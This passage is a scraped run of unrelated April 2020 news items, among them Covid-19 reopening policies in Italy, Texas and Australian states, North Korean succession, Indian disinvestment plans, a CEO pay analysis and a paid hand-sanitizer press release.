failed to outline how he intends to tackle the health crisis in this next phase, including tracing the infected and the people theyve been in contact with, ramping up testing and reorganizing hospitals to avoid Covid-19 patients spreading the virus. Italy is developing an app to help with this effort, but the prime minister said nothing about it. Like most leaders globally, Conte remains very popular in the polls. Matteo Salvini, leader of the far-right League, had hopes of winning the next election, but hes in a tough spot. His popularity is declining and there are serious questions over how the epidemic has been managed in Lombardy, a League stronghold. But the ruling Five Star-Democrat coalition cant be complacent. The governments lack of clarity is testing the patience of the public and prompting trade associations to revolt. Even the Catholic Church has issued a rare rebuke over the failure to reinstate freedom of religious assembly, leading to a government rethink. In fairness, all countries are struggling to manage the trade-off between reopening the economy and ensuring theres no big second wave of infections. Theres a solid case for caution: A new series of outbreaks would force countries to close their economies again, compounding the financial damage. And scientists are struggling to give politicians precise answers on the best Covid-19 policies. As the virus is new, the data only get you so far. However, democratic governments must be transparent, rather than merely imposing rules like dictatorships. A few days ago, the German Chancellor Angela Merkel, a trained scientist, provided an excellent example of content-rich leadership, as she explained in detail why her government was seeking to keep the virus reproduction rate below one. Conte and other leaders should take a look at her video, and learn from it. This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Ferdinando Giugliano writes columns on European economics for Bloomberg Opinion. He is also an economics columnist for La Repubblica and was a member of the editorial board of the Financial Times. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Austin Mayor Steve Adler (D) said his city has achieved a "93 percent reduction in infectivity" and had successfully flattened the curve of infections. More than 800 people are being tested for the virus each day in Austin, Adler said. But he said it is still not enough, and he worries about places that have not increased their testing capacity. Adler said he worries that infections could spike if reopening moves too quickly and cities aren't able to try to control infection rates with local rules. Grand Texas' Big Rivers Waterpark and Gator Bayou Adventure Park plan to open for the summer 2020 season with several new attractions and social distancing measures. The parks are located at 23101 State Highway 242, New Caney, about eight miles north of Kingwood, 13 miles east of The Woodlands and 35 miles northeast of Houston. In addition to water-based rides and attractions, the parks offer zip lining, rock wall climbing, a petting zoo, inflatable obstacle course, alligator farm and more. ON HOUSTONCHRONICLE.COM: Coronavirus live updates: Infections more prevalent in Harris County's poor neighborhoods Gov. Greg Abbott's statewide stay-home, work-safe order is in effect through April 30. Grand Texas CEO and developer Monty Galland said in a recent Facebook Live video that if the state allows, he plans to open the park on Memorial Day weekend. "This situation has been tragic, the coronavirus has been tough on everyone," Galland said in the video. "[But] people are cooped up, they are going to want to get out." In an effort to assuage coronavirus concerns, Galland said the park has added over 6,000 square feet of "shade space" to provide more room for diners, as well as sanitation stations and hot-water indoor showers. Pool loungers have been placed wider apart to encourage "natural social distancing." In addition to the new social distancing measures, Galland said that coronavirus cannot be transmitted through pool water and noted that the park's water filtration system is five times more effective than drinking water filtration systems. According to the Centers for Disease Control and Prevention, proper maintenance of waterpark facilities "should inactivate the virus in the water." GRAND TEXAS: An inside look at Houston's newest (and biggest) theme park "We understand all of the concerns and we are waiting on the state for the regulations to figure out what [else] is going to be required," Galland said. "We are going to make sure you can naturally social distance yourself." This summer marks the second season for the park, which experienced complications due to weather, contract and vendor delays that added years onto the original opening date. An archery range and ax-throwing are two new attractions for the 2020 season, Galland said. The park is looking to fill over 400 full-time and part-time positions, including cashiers, ticket sellers, waterslide attendants, bartenders, line cooks and park service attendants. Season passes are currently available for $90, and include all-day, everyday access to the water park and aerial activities, as well as discounts on food and non-alcoholic beverages, merchandise, cabana rentals and parking, according to the Big Rivers website. Galland said for those who already have season passes - and if the park is able to open on Memorial Day weekend - four additional days will be added onto the end of a pass expiration date to make up for lost time due to the coronavirus. Free day tickets are being offered for Houston-area healthcare heroes working on the frontlines of the pandemic. The park is handing out free one-day tickets to healthcare workers through May 15. To enter or nominate a deserving healthcare worker, follow the instructions here. "My heart goes out to y'all and we want you to know we will get through this together," Galland said. "When they are ready and they have the time off, we want them to come out and enjoy the sunshine." EXPANSION PLANS: Grand Texas eyes 5-year amusement park plan after soft opening at Big Rivers concludes Galland added that Grand Texas is a family and locally-owned business that has yet to receive any assistance from the federal or state government. "We are on our own...[so] we depend on our guests," Galland said. Grand Texas consists of 632 acres that includes a racing park, RV resort and shopping and dining district, which is currently under construction, according to the Grand Texas website. To apply for a job at the park or to get season passes, visit the Big Rivers website. Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | rebecca.hennes@chron.com Pennsylvanias Commonwealth Court has announced it will hold its first livestream hearing beginning at 10:30 a.m. Tuesday, and the suit on the agenda is tied to a disagreement over wine distribution. The Honorable Kevin Brobson will preside over MFW Wine Co., LLC, A6 Wine Company, and GECC2 LLC d/b/a Bloomsday Cafe v Pa Liquor Control Board (25 MD 2020). The matter will be held via video conference between parties to the case and livestreamed on YouTube for media and the public, according to a press release sent out Monday. This is an unprecedented time in our history, but the work of the court continues, making it imperative that we find ways to adapt to the new normal, Commonwealth Court President Judge Mary Hannah Leavitt said in the release. Using online video platforms allows us to maintain the highest level of health and safety while addressing the critical issues presented to the Court for consideration within a public forum. The link for media and the public to view the proceeding is https://youtu.be/YmOBTJ5Pe_U. This case is an original jurisdiction action filed by licensed wine vendors against the PLCB seeking to compel the Board to implement a procedure to allow for special liquor orders to be delivered by licensed importers/vendors directly to their customers rather than to a state-owned liquor/wine retail store for pick-up. Several distributors filed the lawsuit April 16 and then asked Commonwealth Court to expedite the hearing. That request was granted the next day. On April 20, the PLCB posted a notice on its website saying that it would allow holders of wine expanded permits to place special orders beginning April 22 and could begin picking up the orders April 24 by appointment only at 14 designated locations across the state. Jason Malumed, of MFW Wine, told PennLive on April 20 that the action doesnt address the key components of the suit and that they still sought to have the matter reach the courtroom. The Commonwealth Court was established in 1968 and is one of Pennsylvanias two statewide intermediate appellate courts, according to the release. It has subject matter jurisdiction over state and local government matters and also acts as a trial court when lawsuits are filed by or against commonwealth officials and commonwealth agencies. Per the release, appellate cases are generally heard by panels of three judges in Philadelphia, Harrisburg and Pittsburgh, although, on occasion, the court sits in other locations. Cases may also be heard by a single judge or by en banc panels of seven judges. Duncan Sinclair has been the CEO of Mountview Estates P.L.C. (LON:MTVW) since 2013. First, this article will compare CEO compensation with compensation at similar sized companies. After that, we will consider the growth in the business. And finally we will reflect on how common stockholders have fared in the last few years, as a secondary measure of performance. This method should give us information to assess how appropriately the company pays the CEO. Check out our latest analysis for Mountview Estates How Does Duncan Sinclair's Compensation Compare With Similar Sized Companies? According to our data, Mountview Estates P.L.C. has a market capitalization of UK372m, and paid its CEO total annual compensation worth UK975k over the year to March 2019. We think total compensation is more important but we note that the CEO salary is lower, at UK530k. We examined companies with market caps from UK161m to UK644m, and discovered that the median CEO total compensation of that group was UK739k. Next, let's break down remuneration compositions to understand how the industry and company compare with each other. Speaking on an industry level, we can see that nearly 54% of total compensation represents salary, while the remainder of 46% is other remuneration. So it seems like there isn't a significant difference between Mountview Estates and the broader market, in terms of salary allocation in the overall compensation package. It would therefore appear that Mountview Estates P.L.C. pays Duncan Sinclair more than the median CEO remuneration at companies of a similar size, in the same market. However, this fact alone doesn't mean the remuneration is too high. A closer look at the performance of the underlying business will give us a better idea about whether the pay is particularly generous. You can see a visual representation of the CEO compensation at Mountview Estates, below. LSE:MTVW CEO Compensation April 28th 2020 Is Mountview Estates P.L.C. Growing? On average over the last three years, Mountview Estates P.L.C. has shrunk earnings per share by 9.9% each year (measured with a line of best fit). It saw its revenue drop 3.3% over the last year. Story continues Unfortunately, earnings per share have trended lower over the last three years. And the impression is worse when you consider revenue is down year-on-year. So given this relatively weak performance, shareholders would probably not want to see high compensation for the CEO. We don't have analyst forecasts, but you might want to assess this data-rich visualization of earnings, revenue and cash flow. Has Mountview Estates P.L.C. Been A Good Investment? With a three year total loss of 3.8%, Mountview Estates P.L.C. would certainly have some dissatisfied shareholders. It therefore might be upsetting for shareholders if the CEO were paid generously. In Summary... We compared total CEO remuneration at Mountview Estates P.L.C. with the amount paid at companies with a similar market capitalization. As discussed above, we discovered that the company pays more than the median of that group. We think many shareholders would be underwhelmed with the business growth over the last three years. Arguably worse, investors are without a positive return for the last three years. In our opinion the CEO might be paid too generously! CEO compensation is an important area to keep your eyes on, but we've also identified 2 warning signs for Mountview Estates (1 shouldn't be ignored!) that you should be aware of before investing here. Important note: Mountview Estates may not be the best stock to buy. You might find something better in this list of interesting companies with high ROE and low debt. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. (Newser) Two more people have come forward to say Tara Reade, the woman who says Joe Biden sexually assaulted her when she was his aide in 1993, talked to them about the alleged incident at the time. "This happened, and I know it did because I remember talking about it," a former neighbor of Reade's tells Business Insider. And a former colleague of Reade's, who worked with her after she worked for Biden, says she remembers Reade talking about her former boss in Washington, DC, sexually harassing her. She says Reade complained that she was fired after raising concerns about the treatment. Biden's camp has denied Reade's allegations. Two others, including Reade's brother, have previously come forward to corroborate her story, while other former coworkers of Reade's have cast doubt on the claims. story continues below The former neighbor says an emotional Reade told her the story while crying. "I remember her saying, here was this person that she was working for and she idolized him. And he kind of put her up against a wall. And he put his hand up her skirt and he put his fingers inside her. She felt like she was assaulted, and she really didn't feel there was anything she could do." Last week, the Intercept unearthed an anonymous caller to Larry King's show in 1993 that Tara Reade says was her mother. During a show about the culture in DC, the unnamed woman discussed the problems her daughter was having with a senator. "My daughter has just left there, after working for a prominent senator, and could not get through with her problems at all, and the only thing she could have done was go to the press, and she chose not to do it out of respect for him," the caller says. (Read more Tara Reade stories.) Australia will look to call China's bluff over threats of economic retaliation as new research reveals 20 years of flare-ups have not put lasting dents in the trade relationship. Australia's top diplomat Frances Adamson on Monday called China's ambassador Cheng Jingye for an explanation over his comments that Canberra's pursuit of a global coronavirus review could spark a Chinese boycott of of universities, tourism and agriculture. Trade Minister Simon Birmingham labelled Mr Cheng's comments "disappointing" and said the Australian government was not going to change its position on the need for an independent inquiry into the origins of COVID-19. Mr Cheng rejected Australia's concerns over his comments and "called on Australia to put aside ideological bias" and do more to promote bilateral relations. The debate among letter writers and the country at large centers on when state governors should begin to reopen their economies, that and more in this edition of Letters to the Editor. North Korean leader Kim Jong Un, center, has been the subject of rumors in recent days about whether he is ill or even dead. (Korean Central News Agency) The fog of rumors about Kim Jong Uns health will clear up soon. But as of now, despite persistent rumors that the North Korean leader is seriously ill or even dead, the only two things we know with certainty are that Kim uncharacteristically missed the Day of the Sun public anniversary celebrations commemorating his grandfather Kim Il Sungs birthday, and that his private train has been observed at the station in Wonsan, a fact the South Korean government cites to bolster its assertion that the North Korean leader is staying outside the capital but is not in the midst of a medical crisis. But even if Kim showed up tomorrow hearty and hale, with an alibi for his absence and a clean bill of health from his doctor, its clear that North Korea has a dangerous succession problem. Yes, its a resilient monarchical regime that has managed the succession process twice. But North Koreas political system is a Frankenstein-like mash-up of models: It is simultaneously a hereditary monarchy, a Leninist dictatorship, a religious cult and a Mafia-style family racket. Its ideology requires that the ruler must be a direct descendant of Kim Il Sung part of the so-called Mt. Paektu bloodline. Kim Jong Uns oldest known child was born in 2010, which means there is no adult fourth-generation prince of the Kim dynasty ready to take power and hold onto it. The only currently viable adult candidates seem to be Kims sister, Kim Yo Jong, and his brother, Kim Jong Chul. The sister holds the rank of a vice minister and prominently appears in state media and at diplomatic events holding Kims ashtray or representing him at the Winter Olympics. But North Korea is a highly patriarchal society. With a few exceptions (such as the vice foreign minister, Choe Son Hui), North Koreas senior leaders are male. So the odds of a young and female Kim emerging as the supreme leader are quite low. As for Kim Jong Chul, he was passed over by his father twice first in favor of his older half-brother, Kim Jong Nam, who fell out of favor and was eventually murdered, and later for his younger brother, Kim Jong Un. His father, Kim Jong Il, reportedly derided Kim Jong Chul as being like a little girl, and he, unlike his high-profile sister, has been excluded from power and the inner leadership circle. So it is difficult to see either of Kims siblings serving as anything more than pawns or temporary figureheads for others who would wield power. Story continues Although North Korea has a nominal political structure a ruling party, a prime minister, government institutions, a military it would be wishful thinking to imagine the political succession would move in a conventional or even an orderly manner. The Democratic Peoples Republic of Korea is a brutish police state with multiple powerful and competing security forces. Kim Il Sung and his successors took great care to prevent any group or institution from acquiring power, deliberately pitting one faction or agency against another to keep them off balance and at odds. This strategy has precluded the military or security services from conspiring or threatening the Kim dynasty. Moreover, it has been barely six years since Kim Jong Un executed his own uncle, Jang Song Thaek, and systematically purged the other powerful officials who guided his assumption of power. Five of the seven senior officials who walked with Kim in the funeral procession are dead or disappeared, and the two who remain are in their 90s. So not only is there no obvious successor in the royal Kim family, the ranks of veteran officials have been thinned. This means that the prospect of a cutthroat power struggle in the wake of Kim Jong Uns death is high, whether it has already happened or occurs a decade from now. A messy contest for power in Pyongyang puts control of the nations nuclear arsenal (or arsenals) at the center of a stupendously dangerous competition. The combination of loose nukes and political conflict is a nightmare scenario for the world. Whoever prevails in the battle among rival power centers, North Koreas perception of the threat from abroad, and its reliance on a nuclear-missile deterrent to meet that threat, are highly unlikely to change for the better. And a new leader will face the same geostrategic vulnerabilities as did Kim North Korea is still going to be an economic basket case, overdependent on China, under strong pressure from powerful neighbors, struggling to feed its population and handicapped by international sanctions. It will remain uncomfortably dependent on China for political cover, trade and supply chains. It will inherit decades of anti-American doctrine and a deep fear of U.S. military power. The unhappy conclusion from all this is that North Korea will likely have no more incentive to surrender its nuclear deterrent in a post-Kim world than it has had in the past. Daniel Russel is vice president of the Asia Society Policy Institute. The mayor of the Panaji has landed himself in hot water for purchasing a new car at a time when the state government is grappling with the economic fallout of the coronavirus pandemic. Mayor Uday Madkaikar sparked outrage after he bought a Toyota Innova Crysta on Monday despite Chief Minister Pramod Sawant saying that no new purchases of vehicles would be sanctioned. On Tuesday, Madkaikar offered a public apology for his purchase that came from the funds of the municipal corporation. I apologise to the people of Panaji. I should not have bought a car in this crisis, Madkaikar said but hastened to add that a new car for the Panaji mayor was long overdue since the current car was already seven years old. The car I was using was seven years old. I had requested the government for permission to buy a new car. The cost for a new Toyota Innova base model is Rs. 16.70 lakh. The government at that time had sanctioned the Corporation up to Rs. 14 lakh for a new car for an incumbent mayor, Madkaikar told reporters. Also read: With tourism down, clamour to restart mining in Goa gets louder The Mayor took delivery of the car on Monday but claimed that he had booked it before the lockdown stared last month. The vehicle was booked earlier and it is just that the delivery has been taken yesterday, Madkaikar said. Car dealerships are yet to open in Goa. Several dealerships have said that they are hopeful that they will open on May 3 subject to guidelines from the state and central government. In a circular issued earlier this month, the Goa administration had said officers and government functionaries were eligible for more expensive cars. But the chief minister had claimed that the circular was a routine matter and while officers and departments will be eligible to purchase more expensive cars, no cars would actually be bought. The circular was a routine administrative matter. The prices of vehicles were last revised more than eight years ago. No new vehicles will be bought or sanctioned, Sawant had said when asked about the circular. Under the new circular the Panaji mayor was eligible to buy a car costing 20-lakh up from the earlier limit of 14 lakh. The mayors decision to buy a new car evoked some stinging reactions. Congratulations to our BJP Goas #CCP mayor for #LockdownPurchase of [a] luxury car out of [the] huge profits in home distribution of essentials as well as illegal #ReopeningTax collected from business establishments of #Panaji. I am sure with remaining profit, the energies will now be concentrated on paying pending two months salaries of #SafaiKarmacharies who have toiled hard during the lockdown period to maintain hygiene in the city, Sidharth, a former MLA of Panaji and a member of the BJP, said. During the lockdown the corporation had organized doorstep delivery of essentials, which Sidharth had alleged was a money-making racket, a charge the mayor denied. The Corporation of the City of Panaji also earned the ire of the citys business community after it began charging 500 to grant shopkeepers permission to reopen their standalone shops. Phoenix, Arizona - April 28, 2020 (Investorideas.com Newswire) SinglePoint, Inc. (OTCQB: SING) ramping up effort to meet in bound demand for hand sanitizer and other sanitizing products. The company recently entered into an LOI that quickly progressed to a JV Agreement with Box-Bioscience. The agreement will provide both parties with the capability to enhance supply and expand sales opportunities of hand sanitizer. The product is current sold in a variety of sizes ranging from 2oz to truckloads for bulk supply. With the successful rollout of Klen, SinglePoint has been approached by larger retailers to supply bulk products. This shift has set the stage for a Joint Venture between the two companies to supply hand sanitizer manufactured to the current FDA guidelines. Box has already completed orders with multiple accounts, including segments of Fortune 500 companies around the nation with new sales and inquiries happening daily. For Inquiries or Purchases Email - info@singlepoint.com or call 855-711-2009 "We are excited to work with SinglePoint to expand and grow our collective business. We have seen multiple Purchase Orders and we expect an increase over the coming months as many retailers and businesses change protocols around sanitizing. This is a true B2B play with nearly all businesses needing hand sanitizer for customers and employee's protection", states Ryan Cowell, Founder Box Bioscience. Worldwide Hand Sanitation Market is Growing According to a recent report released by Global Market Insights, Inc on April 27, 2020 the Worldwide Hand Sanitizer Market to cross USD 3.6 Bn by 2026. Growing public awareness about the role of hand sanitizer in personal hygiene will act as a major impact rendering factor for the industry growth. Rising initiatives to promote the use of hand sanitizer will further propel the demand over the forecast years. Increasing government initiatives and favorable regulatory scenarios will flourish the hand sanitizer industry. North America hand hygiene market revenue will expand significantly over the forthcoming years A New Normal Operating procedure for Retail, Manufacturing, and Business has emerged Hand san tizer is currently one of the most out of stock products. Beyond retailers looking for additional inventory there has been a major shift in business purchases including hand sanitizer for employee use, disinfectant use for cleaning tools, carts and other shared items. From production routines and work schedules to health screenings and visitor policies even manufacturers have been forced to rethink how they operate-and these changes, including frequent hand sanitization will most likely remain even after the current demand recedes. Manufacturers face challenges not found in other work environments. For instance, production employees can't make engines or shampoo from home, and production schedules typically dictate that workers take breaks at set times. Employers are coming up with different ways to observe recommended social-distancing and germ-control guidelines and hand sanitizers are part of that solution for the foreseeable future. A recent story featured on ABC's Good Morning America on April 22, 2020 titled "Grocery stores see food supplies stabilizing, but don't expect hand sanitizer anytime soon." highlighted the following While grocers and experts claim the food supply is stabilizing, the demand for sanitizer products continues to overwhelm the market. Rationing for items like hand sanitizer will likely continue. All of the grocery stores ABC News spoke with named sanitizers as the products with demand that continues to outstrip supply. Wegmans, along with several other retailers, have implemented purchase limits. "We are seeing better conditions in many categories; however, toilet paper, hand sanitizer and paper products have been slower to rebound," said Maria Brous, spokesperson for Publix, a supermarket chain headquartered in Florida. "For this very reason, customers will still see limits in place across our stores." The two companies, through the JV, will collaborate to manufacture and distribute sanitizing products. The initial priority has been focused on increasing production and sales of bulk hand sanitizer to meet the current demand. An increasing demand has come from non-traditional retail and well as manufacturing and other service businesses concerned with providing solutions to meet the new safety protocols, these businesses have been or are currently being undeserved to the increased demand. The JV has plans to quickly introduce additional products leveraging the Simplex + Virus Killer brand to potentially include wipes, spray, and nasal spray. About SinglePoint, Inc. Founded in 2011 SinglePoint, Inc (SING) invests in and acquires brands and companies that will benefit from injection of growth capital and the sales and marketing expertise of SinglePoint. The company portfolio currently includes solar, hemp and technology applications. SinglePoint is working to grow the company to a multinational brand. Connect on social media at: https://www.facebook.com/SinglePointMobile https://twitter.com/_Singlepoint_ https://www.linkedin.com/company/singlepoint https://www.youtube.com/user/SinglePointMobile For more information visit: www.SinglePoint.com Forward-Looking Statements Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934, and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential future plans and objectives of the Company, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release. Corporate Communication SinglePoint Inc. 888-OTC-SING investors@SinglePoint.com SinglePoint.com Disclaimer/Disclosure: Investorideas.com is a digital publisher of third party sourced news, articles and equity research as well as creates original content, including video, interviews and articles. Original content created by investorideas is protected by copyright laws other than syndication rights. Our site does not make recommendations for purchases or sale of stocks, services or products. Nothing on our sites should be construed as an offer or solicitation to buy or sell products or securities. All investing involves risk and possible losses. This site is currently compensated for news publication and distribution, social media and marketing, content creation and more. Disclosure is posted for each compensated news release, content published /created if required but otherwise the news was not compensated for and was published for the sole interest of our readers and followers. For Disclosure purposes SinglePoint Inc (OTCQB: SING) is a paid annual news and social media company on Investorideas.com. More disclaimer info: https://www.investorideas.com/About/Disclaimer.asp and https://www.investorideas.com/About/News/Clientspecifics.asp . Learn more about our prices for publishing your news release and our other news services on the Investorideas.com newswire https://www.investorideas.com/News-Upload/ and tickertagstocknews.com Global investors must adhere to regulations of each country. Please read Investorideas.com privacy policy: https://www.investorideas.com/About/Private_Policy.asp Investor Ideas does not condone the use of cannabis except where permissible by law. Our site does not possess, distribute, or sell cannabis products. New Delhi, April 28 : The government may again shift reliance on cash-rich and financially stronger central public sector enterprises (CPSEs) to rescue the disinvestment and strategic sale programme with a view that the economic crisis due to the Covid-19 pandemic will dampen interest of private sector domestic and overseas investors' in taking controlling stake in the government-owned companies. According to the people in know, the Department of Investment and Public Asset Management (DIPAM) might consider offering several proposals for the sale of majority government holding in sick and loss-making companies this year to willing CPSEs, proposing to give a good valuation. This, it's believed, would eliminate the need to go through a complex sell-off process with no result at the end. The CPSEs might also be considered to bid for the government stake in profit-making entities, if strategic sale plan involving private sector entities failed to get response, sources said. This could mean if the government fails to get desired response for sale of equity in BPCL, it may consider getting offers from another CPSEs, like IndianOil that had indicated its interest in the refiner. The current terms of bids invited for BPCL bar PSUs with 51 per cent government equity to participate. The government is looking at CPSEs again due to poor investor response to some of strategic sale initiatives. In the case of Pawan Hans Helicopters, where the government offered to sell its entire 51 per cent stake to strategic investors last year, it failed to attract any investors, forcing more than four extensions for submitting expressions of interest. Similarly, in the absence of bidders, the government may look to shut Hindustan Prefab than offering it to a strategic investor. Though it is in the list of 28 companies where the government has given 'in-principle' approval for strategic divestment. "Several sick and loss-making CPSEs suffer from shut operations and excessive manpower. If in some way these issues could be sorted out before an entity is put up for the strategic sale, valuations and interest would be high. Getting PSUs on board is a good plan. But the government should allow its companies to take investment decisions on their own rather than pushing them into any uneconomic move," said a former Cabinet Secretary. Sources said the DIPAM was enthused by last year's Rs 4,800 crore deal between GAIL and an IL&FS subsidiary to take over the latter's 874 MW of operational wind projects. Also, this year NTPC acquired the Centre's stake in other power sector PSUs - NEEPCO and THDC -- for Rs 11,500 crore. Earlier, ONGC completed acquisition of government's stake in HPCL. In strategic disinvestments in five CPSEs -- HPCL, REC, HSCC, NPCC and DCIL -- the tabs for which were picked up by other CPSEs, like ONGC, PFC, NBCC, WAPCOS, and public-sector consortium of ports, respectively, the government has mobilised Rs 52,828.8 crore in receipts. More such options would be looked to bring several other strategic disinvestment proposals that have got delayed over lack of investor interest. In the list are 28 companies, like Scooters India, Ferro Scrap Nigam, Bridge and Roof, Hindustan Fluorocarbons, India Medicines and Pharmaceuticals, Engineers Projects, National Project construction corporation (NPCC) and Hindustan Newsprint. Officials believe, if PSUs are involved in strategic sale, it could provide synergy to existing operations of a state-run company and the sell-off process would not only be smooth but the government could also get better valuation. It has also become important this year as global and domestic interest from the private sector could be tepid due to the Covid-19 outbreak. The government's strategic sale initiative has not taken off well as a few cases that were brought out under the plan failed to attract investors. Air India's earlier disinvestment bid also fell flat for want of bidders. It's up again for bidding, but the process looks uncertain. Similarly, attempts to sell other loss-making entities, like Scooters India, makers of the popular Vikram brand of three-wheelers, failed to move in the last one year. Companies, like Scooters India, Indian Drug and Pharmaceuticals (IDPL) and a few others, are sitting on huge tracts of land that can be used by cash-rich PSUs to expand operations or carry out any diversification plan. While IDPL has 834 acres prime land in Rishikesh, Scooters India, about 150 acres near Lucknow. The government is looking at revised strategy to save the Rs 1,20,000 crore disinvestment plan for FY21. In FY20, the government initially budgeted Rs 1,05,000 crore as disinvestment proceed. But it was revised to Rs 65,000 crore as choppy market conditions and economic slowdown prevented interest from investors. The actual disinvestment proceeds for FY20, however, remained even below the revised numbers at Rs 50,300 crore. (Subhash Narayan can be contacted at subhash.n@ians.in) Source: Xinhua| 2020-04-28 21:34:28|Editor: huaxia Video Player Close TEHRAN, April 28 (Xinhua) -- Foreign ministers of Iran and Russia on Tuesday rejected a reported U.S. new attempt concerning Iran's 2015 nuclear deal, official IRNA news agency reported. In a telephone conversation, Mohammad Javad Zarif and Sergey Lavrov discussed the latest regional developments, as well as the reported U.S. new nuke-related plan. "Zarif and Lavrov dismissed the U.S. new plan for JCPOA as impractical and delusional," said IRNA. U.S. President Donald Trump unilaterally withdrew the United States from the nuclear deal, internationally recognized as the JCPOA, in 2018 and re-imposed financial and energy sanctions on Iran under the "maximum pressure" to press the latter for a renewed nuclear deal. On Sunday, Western media reports said that U.S. Secretary of State Mike Pompeo "is reportedly drafting his team to come up with legal arguments as to how the United States is still a part on nuclear agreement" to use United Nations Security Council leverage to extend JCPOA-endorsed arms embargo on Iran which ends in six months. Enditem Ghanaian actor turned politician, John Dumelo has said he will not stop trying if he fails to win the Ayawaso West Wuogon parliamentary election. Making reference to Late President John Evans Fiifi Atta Mills and Nana Addo Dankwa Akufo, the aspiring member of parliament for Ayawaso West Wuogon constituency on the ticket of the National Democratic Congress [NDC] noted that the two great politicians never gave up when they were defeated a couple of times. Speaking with Kasapa Fm, Dumelo stated that his defeat will give him more experience to make amends for the next election. If you look at the Late Former President John Evans Atta Mills, he lost two times before he won finally. The current President, Akufo Addo, lost two times and won on the third time. The fact that you lose an election does not mean you should give up. You have to keep trying and learn from your mistakes and eventually victory will be yours. John Dumelo said. When asked about his acting career if he wins the Ayawaso West Wuogon seat, Dumelo replied, Ill not give up on acting if Im voted to represent my people in Parliament. John Dumelos acting career can be described as fruitful and fulfilled judging from the number of movies he has acted in both Ghana and Nigeria since he came into the limelight in 2008. He came out victorious at the National Democratic Congress (NDC) parliamentary elections held on Saturday, August 24, 2019. He won majority votes to become the partys parliamentary candidate in the Ayawaso West Wuogon constituency ahead of the 2020 general elections. John Dumelo won massively with 758 votes while his only contender, Madam Adoboe had 99 votes. A total of 859 delegates voted in the elections with two rejected ballots. Source: kasapafmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video WESTERN AUSTRALIA * Western Australia is going further than any other state in relaxing coronavirus rules, the government says, amid a mixed reaction to the state's economic roadmap. * Locals are encouraged to return to work and take regional holidays, and the limit is at 20 people, and hospitality businesses will be allowed to serve diners under phase two of WA's recovery plan. * The government has faced a backlash for not going further in unwinding restrictions as there are barely any cases in WA. * Like restaurants and cafes, pubs are allowed to reopen but a limit of 20 patrons will apply as well as the one person per four square metres rule, and a requirement for customers to buy a meal if they want to have a drink. * Weddings and funerals can have up to 20 people attend if it is held indoors while 30 people can attended if it is held outside. * Community facilities and libraries have reopened but public playgrounds, cinemas, skate parks, zoos, galleries and concert venues will remain closed. * Students will return to the classroom from May 29. * Travel to most nearby regions is now allowed. * Hard border will remain indefinitely despite pressure from the rest of the country and federal medical advice. NORTHERN TERRITORY * Parks and reserves have reopened. * Weddings, funerals can have an unlimited number of guests if social distancing can be maintained. * Playgrounds, parks and public swimming pools re-opened. * Gyms, nail salons, and any other businesses have re-opened so long as their activities take less than two hours * Outdoor sports where people can be physically distant, such as golf and tennis, are allowed. * Pubs, cafes and restaurants opened on May 15. People are allowed in for two hours. * From June 5, all business will be allowed to re-open as long as they have a COVID-19 plan in place. * All NT students are expected to physically attend school as of April 20. * Internal travel is now allowed including to remote Aboriginal communities, but some remote areas are close to all non-essential travel until June 5. * Dropping the border quarantine will be 'dead last'. QUEENSLAND * Restaurants, pubs and clubs, nail salons and so on can have up to 20 patrons at a time. * Parks, playgrounds, skateparks are open * Up to ten people can attended a wedding and funerals can have up to 20 guest inside and 30 if outside. * Up to five members from a single household can visit another home, and ten people can meet in public * All students are back at school as of May 25. * Family picnics and weekend drives allowed, national parks will reopen and people can shop for clothing and shoes, and go for haircuts * You can let your dog off the leash as 131 dog parks will gradually reopen * Citizens can take day trips up to 150km of their homes, and social distancing will still be enforced. * People from the same household can go out together, while those who live alone can spend time with one other person. * Border quarantine will continue until September but the state is under pressure to drop this much sooner. VICTORIA * Up to 20 people indoors at a party or gathering as of June 1. * Up to ten people can attended a wedding and funerals can have up to 20 guest inside and 30 if outside. * The premier's beloved game of golf, walking groups, fishing and hiking are among the outdoor activities allowed again. * Cafes, restaurants and pubs can seat diners until June 1, unlike most other states. * Libraries, community centres, markets, beauty parlours and tattoo studios open on June 1 as do museums, drive-in cinemas, zoos and theme parks. * Gyms, indoor sports facilities, movie theatres can reopen from June 22 if all goes to plan allowing ski season to kick off * Holidays and staying at friend's place overnight are also banned until June 1 when accommodation will re-open. * There are no restrictions on leaving or entering the state, but people can only go on day trips. * Professional sport teams including AFL and rugby league are back to training ahead of resuming the season in late May. * Students from prep, year one, year two, and years 11 and 12 are allowed to attend school. * The remaining levels will return on June 9. TASMANIA * Gatherings of five people inside and ten in public are allowed. * Residents can visit national parks within 30km of their home. * The state's ban on aged care visits was eased, but no more than two visitors are allowed once a week. * Restaurants, cafes, playgrounds, pools and boot camps re-opened for up to ten people at a time. * Up to 20 people will be allowed at cinemas, museums, theatres and historic sites as of June 15. * Gyms, sporting venues, health clubs and wellness centres are all prohibited. * Hairdressers and barbers are open but day spas, saunas and massage parlours are not allowed to operate. * Beauty therapy, tanning, nail treatment services and piercing and tattoo parlours are still closed. * Weddings can have up to ten guest and funerals can have up to 20 guests indoors and 30 outdoors. * Students in kindergarten-year 6 and those in Year 11 and 12 have returned to school. * Student in years 7 to 10 will return on June 9. * There are no limits on where someone can go within the state. * Border restrictions, however, are still expected to be in place when stage three of the plan begins in mid-July. NEW SOUTH WALES * Cafes, pubs and restaurants are open but may only seat ten people at a time. * Gatherings of 